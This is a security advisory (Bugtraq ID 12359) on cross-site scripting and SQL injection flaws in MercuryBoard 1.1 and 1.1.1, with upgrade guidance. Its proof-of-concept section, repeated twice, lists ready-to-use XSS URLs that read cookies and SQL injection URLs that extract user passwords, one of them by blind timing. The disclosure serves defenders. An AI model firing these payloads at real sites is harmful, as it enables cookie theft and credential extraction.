MercuryBoard Multiple Input Validation Vulnerabilities
BID:12359
Info
MercuryBoard Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 12359 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 25 2005 12:00AM |
| Updated: | Jan 25 2005 12:00AM |
| Credit: | "Alberto Trivero" <[email protected]> is credited with the discovery of these issues. |
| Vulnerable: |
MercuryBoard Message Board 1.1.1 MercuryBoard Message Board 1.1 |
| Not Vulnerable: |
MercuryBoard Message Board 1.1.2 |
Discussion
MercuryBoard Multiple Input Validation Vulnerabilities
Multiple input validation vulnerabilities affect MercuryBoard. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in critical functionality.
An attacker may leverage these issues to execute arbitrary code in the browser of an unsuspecting user and manipulate SQL queries against the underlying database. This may facilitate the theft of authentication credentials, destruction of data, and other attacks.
Multiple input validation vulnerabilities affect MercuryBoard. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in critical functionality.
An attacker may leverage these issues to execute arbitrary code in the browser of an unsuspecting user and manipulate SQL queries against the underlying database. This may facilitate the theft of authentication credentials, destruction of data, and other attacks.
Exploit / POC
MercuryBoard Multiple Input Validation Vulnerabilities
No exploits are required to leverage these issues. The following proof of concepts have been provided:
To leverage the cross-site scripting issues:
http://www.example.com/index.php?a=pm&s='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=members&l='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=post&s='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=post&s=reply&t='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=pm&s=send&to='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=pm&s=send&to=2&re='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=cp&s='><script>alert(document.cookie)</script>
To leverage the SQL injection vulnerability:
http://www.example.com/index.php?a=post&s=reply&t=0%20UNION%20SELECT%20user_id,%20user_password%20FROM%20mb_users%20/*
http://www.example.com/mercuryboard/index.php?a=post&s=reply&t=1%20UNION%20SELECT%20IF(SUBSTRING(user_password,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201/*
No exploits are required to leverage these issues. The following proof of concepts have been provided:
To leverage the cross-site scripting issues:
http://www.example.com/index.php?a=pm&s='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=members&l='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=post&s='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=post&s=reply&t='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=pm&s=send&to='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=pm&s=send&to=2&re='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=cp&s='><script>alert(document.cookie)</script>
To leverage the SQL injection vulnerability:
http://www.example.com/index.php?a=post&s=reply&t=0%20UNION%20SELECT%20user_id,%20user_password%20FROM%20mb_users%20/*
http://www.example.com/mercuryboard/index.php?a=post&s=reply&t=1%20UNION%20SELECT%20IF(SUBSTRING(user_password,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201/*
Solution / Fix
MercuryBoard Multiple Input Validation Vulnerabilities
Solution:
The vendor has released an upgrade dealing with this issue.
MercuryBoard Message Board 1.1
MercuryBoard Message Board 1.1.1
Solution:
The vendor has released an upgrade dealing with this issue.
MercuryBoard Message Board 1.1
-
MercuryBoard MercuryBoard 1.1.2
http://www.mercuryboard.com/index.php?a=downloads
MercuryBoard Message Board 1.1.1
-
MercuryBoard MercuryBoard 1.1.2
http://www.mercuryboard.com/index.php?a=downloads
References
MercuryBoard Multiple Input Validation Vulnerabilities
References:
References:
- MecuryBoard Home Page (MercuryBoard)
- Blind Sql-Injection in MySQL Databases ("Zeelock"
- Multiple vulnerabilities in MercuryBoard 1.1.1 ("Alberto Trivero"